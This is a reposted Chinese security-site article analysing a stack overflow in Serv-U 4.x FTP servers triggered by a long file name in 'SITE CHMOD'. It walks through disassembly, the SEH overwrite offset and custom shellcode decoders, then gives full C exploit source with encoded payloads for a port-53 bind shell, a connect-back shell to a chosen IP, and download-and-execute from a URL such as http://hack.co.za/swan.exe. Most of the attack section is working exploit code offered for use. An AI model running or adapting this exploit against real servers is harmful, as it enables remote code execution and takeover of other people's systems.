登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

Serv-U "site chmod xxx" Exploit
发表日期:2006-03-12作者:velvet[转贴] 出处:安全焦点  


版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!
标题: Serv-U "site chmod xxx" Exploit
内容:
    kkqq发现Serv-U 4.x及其以下版本中,当传递给site chmod一个长文件名时,会发生栈溢出。
    我们来简单地看看分析,先用IDA看看发生问题的地方:

.text:004194EB loc_4194EB:                             ; CODE XREF: sub_419080+457j
.text:004194EB                 push    [ebp+var_8]     ;
.text:004194EE                 push    0FFFFFFFFh
.text:004194F0                 push    4B4h
.text:004194F5                 lea     eax, [esi+8488h]
.text:004194FB                 push    eax
.text:004194FC                 call    sub_414344
.text:00419501                 add     esp, 0Ch
.text:00419504                 push    eax             ; "550 %s: no such file or directory."
.text:00419505                 lea     edx, [ebp+buffer]
.text:0041950B                 push    edx
.text:0041950C                 call    _sprintf        ; <==这里
.text:00419511                 add     esp, 0Ch
.text:00419514                 lea     ecx, [ebp+buffer]
.text:0041951A                 push    ecx
.text:0041951B                 push    esi
.text:0041951C                 call    sub_433608
.text:00419521                 add     esp, 8
.text:00419524                 dec     [ebp+var_38]
.text:00419527                 dec     [ebp+var_38]
.text:0041952A                 cmp     [ebp+var_8], 0
.text:0041952E                 jz      loc_4195BD
.text:00419534                 mov     eax, [ebp+var_8]
.text:00419537                 mov     edx, [eax-0Ch]

    当提交一个不存在的文件时,Serv-u会反馈一个文件没有找到的消息。存放错误信息的buffer小于0x1EC(?),而实际可以接受的文件名字长度超过了0x500,sprintf的时候,一下子就越界了。
    还是主要针对利用吧,有兴趣慢慢分析的朋友,估计也不想看我在这里废话,从上面说到的地方往回找,自然会找到判断命令和处理的地方。
    提交超长文件名的时候,在.text:00419537 mov edx, [eax-0Ch]处一般会发生一个内存访问的异常,倒回去看,因为上面一句mov eax, [ebp+var_8],而我们覆盖了[ebp+var_8]所致。这样,覆盖SEH地址应该是很容易利用这个漏洞的,我们先用ollydbg看看发生异常时的情况。

EBP-58   > 77E3929C  USER32.77E3929C
EBP-54   > 06EB06EB  Pointer to next SEH record
EBP-50   > 77E3929C  SE handler            <=需要精心覆盖的地方;
EBP-4C   > 06EB06EB
EBP-48   > 77E3929C  USER32.77E3929C

BUFFER
EBP-1EC  > 20303535

    计算一下,因为文件名是从ftp的根目录开始算的,加上前面的"550 ",也就是说buffer一定有一个"550 /",这是5个字节,简单看来就是提交的文件名在0x1EC - 0x50 - 0x5 = 0x197 = 407字节处,就是实际覆盖SEH的地方。
    实际上我们可能对根目录没有写的权限,在CWD到一个可写目录后,返回错误信息的buffer前面就成了"550 /xxx/",在切换目录的时候,我们应该记录下目录名的长度,实际覆盖SEH的地方就成了407 - nPathLen。很自然的,403 - nPathLen的地方应该是一个nop/nop/jmp 4,而411 - nPathLen开始就可以是shellcode了。
    在出现内存访问异常之前,还有两个dec [ebp+var_38]我们要注意一下,因为这里会改变我们的shellcode,425 - nPathLen处的字符加二就可以解决了。
    由于FTP本身的协议,以及我们提交的数据要是合法的文件名等限制,在shellcode中不能出现" "、":"、"?"、"/"以及0xffffff、0x0A等等,现有的市面上的shellcode都不符合要求,稍微改写一下。

    出问题一般是因为shellcode在最前面一段解码的过程中有非法的字符,单独对这个漏洞而言很好解决,因为获得控制权的时候ebx地址是确定的(我们本来就是jmp ebx过来的),所以直接计算实际有作用的shellcode地址开始解码也可以,或者从ebx开始搜索也可以,我是采取的后面一个做法。改写后的解码部分如下,因为调试的关系,很多0x90的地方原来是0xCC,后来也没有改回来:-)

"\x90\x8B\xC3\xBB\x51\x50\x50\x50\x4B\x40\x39\x18\x75\xFB\x40\x40"
"\x40\x33\xC9\x90\x90\x66\xB9\x7D\x01\x80\x34\x08\x99\xE2\xFA\x90"
"\x50\x50\x50\x50"

90                   nop
8B C3                mov         eax,ebx
BB 51 50 50 50       mov         ebx,50505051h
4B                   dec         ebx
40                   inc         eax
39 18                cmp         dword ptr [eax],ebx
75 FB                jne         -5                 ;到inc eax
40                   inc         eax
40                   inc         eax
40                   inc         eax
33 C9                xor         ecx,ecx
90                   nop
90                   nop                            ;记得这里要+2,实际是0x92
66 B9 7D 01          mov         cx,17Dh            ;解码的长度,17d够了
80 34 08 99          xor         byte ptr [eax+ecx],99h
E2 FA                loop        -6                 ;到xor
90                   nop
50                   push        eax                ;_emit 50h
50                   push        eax
50                   push        eax
50                   push        eax

    意思就是把0x50505050作为标记(本身也是可执行的,push eax),赋给ebx 0x50505051后dec ebx(防止找错了地方),然后从eax(原来的ebx)开始找encode过的真实shellcode,最后解码。实际的由于第21个字节被dec过两次,所以要补回来。最后处理过的bind53的shellcode是类似于这样的,去掉了原来的头,换了上面说的那一个:

"\x90\x8B\xC3\xBB\x51\x50\x50\x50\x4B\x40\x39\x18\x75\xFB\x40\x40"
"\x40\x33\xC9\x90\x92" //92? Yes, 0x92! Two nops for fun
                       //.text:00419524                 dec     [ebp+var_38]
                       //.text:00419527                 dec     [ebp+var_38]
"\x66\xB9\x7D\x01"
"\x80\x34\x08\x99\xE2\xFA\x90\x50\x50\x50\x50"

//bind port 53, lion's shellcode
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
... ...

    还可以稍微改进一下的。精简后就成了这样子:

//search from ebx and decode
"\xbe\x0c\x99\xe2\xfa\x4e\x43\x39\x33\x75\xfb\x83\xc3\x03\x33\xc9"
"\x66\xb9\x80\x01\x80\x34\x0b\x99\xe2\xfa"

    mov esi,    0xfae2990c
    dec esi
findsc_loop:
    inc    ebx
    cmp    dword ptr [ebx],esi
    jne    findsc_loop
    add    ebx,3
    xor    ecx,ecx
    mov    cx,180h
decode_loop:
    xor    byte ptr [ebx+ecx],99h
    loop    decode_loop

    当然,直接计算real shellcode的起始地址也可以,这个就相对来说不那么通用了,我们假设覆盖的时候结构是这样子的:

-----+-------------+--------------+--------+-------------------
AA...| 90 90 jmp 4 | RET(jmp ebx) | decode | encoded shellcode
-----+-------------+--------------+--------+-------------------
        ^^--EBX

    decode获得控制权的时候,ebx指向的第一个0x90,也就是说ebx + 8 + decode的长度,就是encoded shellcode的首地址,先要写一个decode的框架出来,然后ebx才能确定

    add    ebx,5                  ; <==这个值待定
    xor    ecx,ecx
    mov    cx,180h
decode_loop:
    xor    byte ptr [ebx+ecx],99h
    loop    decode_loop

    判断一下长度,是15,这样子,ebx应该加 8 + 15 = 23 = 0x17,但实际上,因为loop中ecx到0后不会跳回去执行xor,所以ebx应该加的是0x16,把0x16填回去就可以了。最后得到的是:

"\x83\xC3\x16\x33\xC9\x66\xB9\x83\x01\x80\x34\x0B\x99\xE2\xFA"

    十五个字节的decode,呵呵,最短了~
    如果是download & exec的shellcode,稍微麻烦一点,因为":"不能出现。不想打字了,直接看xploit怎样处理的吧。一点都不喜欢打字,写xploit花了2小时,打字都不止这么长时间了……
    用下面的xploit吧,设定的timeout是1秒,一般来说如果在change dir后停了一秒然后出来成功的字样就确实是成功了,如果马上出来成功字样,一定是覆盖的地址没有对,serv-u挂了。jmp ebx用的是0x7FFA4A1B,对cn/en win2k都还比较有效,自己试试看,换换也可以的。
    程序写得不好,有些判断只是想当然的而已,很有可能误报一些结果,你也可以去掉全部的if(buff[0] != '2')判断来默认每一步都是正确的,也可以把timeout设定的大一点(默认是一秒)。我在自己的机器上(win2k cn sp3/sp4, en sp4)测试Serv-U 4.1.0.3/4.1.0.2/4.0.0.x都能够很好的工作。




/*

  kkqq found that when connecting to a FTP server using Serv-U(v4.x and below),
the operation "SITE CHMOD 755 <Longfilename>" will cause stack-based overflow.
This is only exploitable when you have the writing privilege.
  Er, IDA told me that:

.text:004194EB loc_4194EB:                              ; CODE XREF: sub_419080+457.j
.text:004194EB                 push    [ebp+var_8]      ; point to filename
.text:004194EE                 push    0FFFFFFFFh
.text:004194F0                 push    4B4h
.text:004194F5                 lea     eax, [esi+8488h]
.text:004194FB                 push    eax
.text:004194FC                 call    sub_414344
.text:00419501                 add     esp, 0Ch
.text:00419504                 push    eax              ; format = "550 %s: no such file or directory."
.text:00419505                 lea     edx, [ebp+buffer]
.text:0041950B                 push    edx
.text:0041950C                 call    _sprintf         ; <============== ^_^
.text:00419511                 add     esp, 0Ch
.text:00419514                 lea     ecx, [ebp+buffer]
.text:0041951A                 push    ecx
.text:0041951B                 push    esi
.text:0041951C                 call    sub_433608
.text:00419521                 add     esp, 8
.text:00419524                 dec     [ebp+var_38]     ; this is why 0x92 appears
.text:00419527                 dec     [ebp+var_38]
.text:0041952A                 cmp     [ebp+var_8], 0
.text:0041952E                 jz      loc_4195BD
.text:00419534                 mov     eax, [ebp+var_8] ; <== attention
.text:00419537                 mov     edx, [eax-0Ch]   ; <== My ollydbg stopped here and @#$!@# then
                                                        ; shellcode ran ^_^. Choosing a value (address)
                                                        ; that could be read for eax would lead another way
*/

#include <winsock.h>
#include <windows.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32")

void help(char *program)
{
    printf("=======================================================\r\n");
    printf("Serv-U \"site chmod xxx longfilename\" Xploit v0.20 alpha\r\n");
    printf("Originally discovered by kkqq@USTC --thank you~ (*^_^*)\r\n");
    printf("          For Serv-U 4.x with Win2k written by SWAN@SEU\r\n");
    printf("=======================================================\r\n\r\n");
    printf("Usage: %s <Host> <Port> <User> <Pass> <DIR>\r\n",program);
    printf("       %s <Host> <Port> <User> <Pass> <DIR> <url>\r\n",program);
    printf("       %s <Host> <Port> <User> <Pass> <DIR> <Your IP> <Your port>\r\n",program);
    printf("e.g.:\r\n");
    printf(" (1) You have write privilege at /upload/\r\n");
    printf("     %s 127.0.0.1 21 test test upload http://hack.co.za/swan.exe\r\n", program);
    printf(" (2) You have write privilege at root\r\n");
    printf("     %s 127.0.0.1 21 test test / 202.119.9.42 8111\r\n", program);
    printf("\r\n   This is an OverWrite-SEH-And-Call-EBX version(jmp ebx at 0x7FFA4A1B),\r\n");
    printf("choose a mode you like to open port 53, connect back or download & exec.\r\n");
    printf("For XP/2k3, you may try to exploit this in another way...\r\n");
    return;
}

unsigned char bpsc[]=
// "decoding" code should not contain \xff\xff\xff nor \x0a nor ':' ....
// so search from ebx, to find the head of the encoded shellcode
"\x90\x8B\xC3\xBB\x51\x50\x50\x50\x4B\x40\x39\x18\x75\xFB\x40\x40"
"\x40\x33\xC9\x90\x92" //92? Yes, 0x92! Two nops for fun
                       //.text:00419524                 dec     [ebp+var_38]
                       //.text:00419527                 dec     [ebp+var_38]
"\x66\xB9\x7D\x01"
"\x80\x34\x08\x99\xE2\xFA\x90\x50\x50\x50\x50"

//bind port 53
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99"
"\x99\xAC"  //<== Port xor 0x9999, default is 53
"\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";


#define    IP_OFFSET    249
#define    PORT_OFFSET    244
unsigned char cbsc[]=
//search from ebx and decode
"\xbe\x0c\x99\xe2\xfa\x4e\x43\x39\x33\x75\xfb\x83\xc3\x03\x33\xc9"
"\x66\xb9\x80\x01\x82\x34\x0b\x99\xe2\xfa"

//connect back
//from http://www.xfocus.net/articles/200307/574.html
"\x70\x6D\x99\x99\x99\xC3\x21\x95\x69\x64\xE6\x12\x99\x12\xE9\x85"
"\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A"
"\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A"
"\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC"
"\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58"
"\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12"
"\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71"
"\xE9\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3"
"\x9B\xC0\x71\xC4\x99\x99\x99\x1A\x75\xDD\x12\x6D\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x61\x12"
"\x41\x10\xC7\xA1\x10\xC7\xA5\x10\xC7\xD9\xFF\x5E\xDF\xB5\x98\x98"
"\x14\xDE\x89\xC9\xCF\xAA\x59\xC9\xC9\xC9\xF3\x98\xC9\xC9\x14\xCE"
"\xA5\x5E\x9B\xFA\xF4\xFD\x99\xCB\xC9\x66\xCE\x75\x5E\x9E\x9B\x99"
"\x9E\x24\x5E\xDE\x9D\xE6\x99\x99\x98\xF3\x89\xCE\xCA\x66\xCE\x65"
"\xC9\x66\xCE\x69\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66"
"\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x9E\x66\x66\x66\xDE\xFC"
"\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC"
"\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED"
"\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB"
"\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA"
"\xF6\xFA\xF2\xFC\xED\xD8\x99\xFA\xF6\xF7\xF7\xFC\xFA\xED\x99";

unsigned char dehead[]=
"\x90\x8B\xC3\xBB\x51\x50\x50\x50\x4B\x40\x39\x18\x75\xFB\x40\x40"
"\x40\x33\xC9\x90\x92\x66\xB9\xF0\x01\x80\x34\x08\x99\xE2\xFA\x90"
"\x50\x50\x50\x50"

//download & execute
//modified slightly...
"\x70\x4D\x99\x99\x99\xC3\x21\x95\x69"
"\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5"
"\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA"
"\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED"
"\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF"
"\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A"
"\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F"
"\x97\x12\x49\xF3\x9D\xC0\x71\xC9\x99\x99\x99\x1A\x5F\x94\xCB\xCF"
"\x66\xCE\x65\xC3\x12\x41\xF3\x98\xC0\x71\xA4\x99\x99\x99\x1A\x5F"
"\x8A\xCF\xDF\x19\xA7\x19\xEC\x63\x19\xAF\x19\xC7\x1A\x75\xB9\x12"
"\x45\xF3\xB9\xCA\x66\xCE\x75\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD"
"\x9A\x9D\xE1\xFC\x99\x99\xAA\x59\xC9\xC9\xCA\xCF\xC9\x66\xCE\x65"
"\x12\x45\xC9\xCA\x66\xCE\x69\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59"
"\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A"
"\x71\xBE\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB"
"\xFC\xEA\xEA\x99\xDE\xFC\xED\xCA\xE0\xEA\xED\xFC\xF4\xDD\xF0\xEB"
"\xFC\xFA\xED\xF6\xEB\xE0\xD8\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99"
"\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD"
"\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEB\xF5\xF4\xF6\xF7\x99"
"\xCC\xCB\xD5\xDD\xF6\xEE\xF7\xF5\xF6\xF8\xFD\xCD\xF6\xDF\xF0\xF5"
"\xFC\xD8\x99";
//"http://127.0.0.1/hello.exe"
//"\x80";
unsigned char desc[500]={0};

void main(int argc, char *argv[])
{
    WSADATA wsaData;
    SOCKET s;
    struct hostent *he;
    struct sockaddr_in host;
    int nTimeout = 1000;
    if(argc!=6&&argc!=7&&argc!=8)
    {
        help(argv[0]);
        return;
    }
    if(argc==7)
    {
        //initialize the download & execute shellcode
        //shellcode head + ((url + 0x80) xor 0x99 )  <==all for damned ':' and '/'
        memset(desc, 0, 500);
        memcpy(desc, dehead, sizeof(dehead));
        char url[255];
        strcpy(url, argv[6]);
        strcat((char*)url, "\x80");
        for(unsigned int j=0; j < strlen(url); j++)
            url[j] = url[j]^'\x99';
        strcat((char*)desc, url);
    }
    if(argc==8)
    {
        unsigned short port = htons(atoi(argv[7]))^(u_short)0x9999;
        unsigned long ip = inet_addr(argv[6])^0x99999999;
        memcpy(&cbsc[PORT_OFFSET], &port, 2);
        memcpy(&cbsc[IP_OFFSET], &ip, 4);
    }

    if(WSAStartup(0x0101,&wsaData)!=0)
    {
        printf("error starting winsock..");
        return;
    }
    if((he = gethostbyname(argv[1]))==0)
    {
        printf("Failed resolving '%s'",argv[1]);
        return;
    }
    host.sin_port = htons(atoi(argv[2]));
    host.sin_family = AF_INET;
    host.sin_addr = *((struct in_addr *)he->h_addr);

    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        printf("Failed creating socket");
        return;
    }

    if ((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1)
    {
        printf("Failed connecting to host\r\n");
        return;
    }
    setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (char*)&nTimeout,sizeof(nTimeout));
    
    char buff[50000]={0};
    memset(buff, 0, sizeof(buff));

    char szUser[255] = {0};
    strcpy(szUser, "USER ");
    strcat(szUser, argv[3]);
    strcat(szUser, "\r\n");

    char szPass[255] = {0};
    strcpy(szPass, "PASS ");
    strcat(szPass, argv[4]);
    strcat(szPass, "\r\n");

    int bread = recv(s,buff,sizeof(buff),0);
    if(bread == -1)
    {
        closesocket(s);
        printf("No response... Perhaps it has been hacked!\r\n");
        return;
    }
    printf(buff);

    //send user
    send(s, szUser, strlen(szUser), 0);
    memset(buff, 0, sizeof(buff));
    recv(s, buff, sizeof(buff), 0);
    printf(buff);

    //send pass
    send(s, szPass, strlen(szPass), 0);
    memset(buff, 0, sizeof(buff));
    recv(s, buff, sizeof(buff), 0);
    printf(buff);

    if(buff[0] != '2')
    {
        closesocket(s);
        printf("Authentication failed!\r\n");
        return;
    }

    //change dir
    char szChangeDir[255]={0};
    strcpy(szChangeDir,"CWD /");
    strcat(szChangeDir,argv[5]);
    strcat(szChangeDir,"\r\n");
    send(s, szChangeDir, strlen(szChangeDir), 0);
    memset(buff, 0, sizeof(buff));
    recv(s, buff, sizeof(buff), 0);
    printf(buff);
    
    if(buff[0] != '2')
    {
        closesocket(s);
        printf("Error changing path!\r\n");
        return;
    }

    int nPathLen = strlen(argv[5])+1;
    if(argv[5][nPathLen-2] == '/')
        nPathLen--;
    if(nPathLen == 1)
        nPathLen--;

    char xploit[1500] = {0};
    char head[] = "SITE CHMOD 755 ";
    char evil[1000] = {0};
    memset(xploit, 0, sizeof(xploit));
    for(int i = 0; i < 403; i++)
        evil[i] = '\x90';

    *((int*)(evil + 403 - nPathLen)) = 0x04EB9090; //nop nop jmp 4
    *((int*)(evil + 407 - nPathLen)) = 0x7FFA4A1B; //jmp ebx

    if(argc==6)
        memcpy(evil+411 - nPathLen, bpsc, sizeof(bpsc));
    if(argc==7)
        memcpy(evil+411 - nPathLen, desc, strlen((char*)desc));
    if(argc==8)
        memcpy(evil+411 - nPathLen, cbsc, sizeof(cbsc));
    strcpy(xploit, head);
    strcat(xploit, evil);
    strcat(xploit, "\r\n");
    send(s, xploit, strlen(xploit), 0);

    memset(buff, 0, sizeof(buff));
    bread = recv(s, buff, sizeof(buff), 0);
    if(bread == -1)
    {
        closesocket(s);
        if(argc==6)
            printf("Success! Try connect port 53 to get your shell...\r\n");
        if(argc==7)
            printf("Success! Host has download and execute the program...\r\n");
        if(argc==8)
            printf("Success! See your nc.exe...\r\n");
        return;
    }
    printf("Failed... Perhaps it has been patched, or you don't have the writing privilege!\r\n");
    closesocket(s);
    return;
}

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 Serv-U "site chmod xxx" Exploit

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00211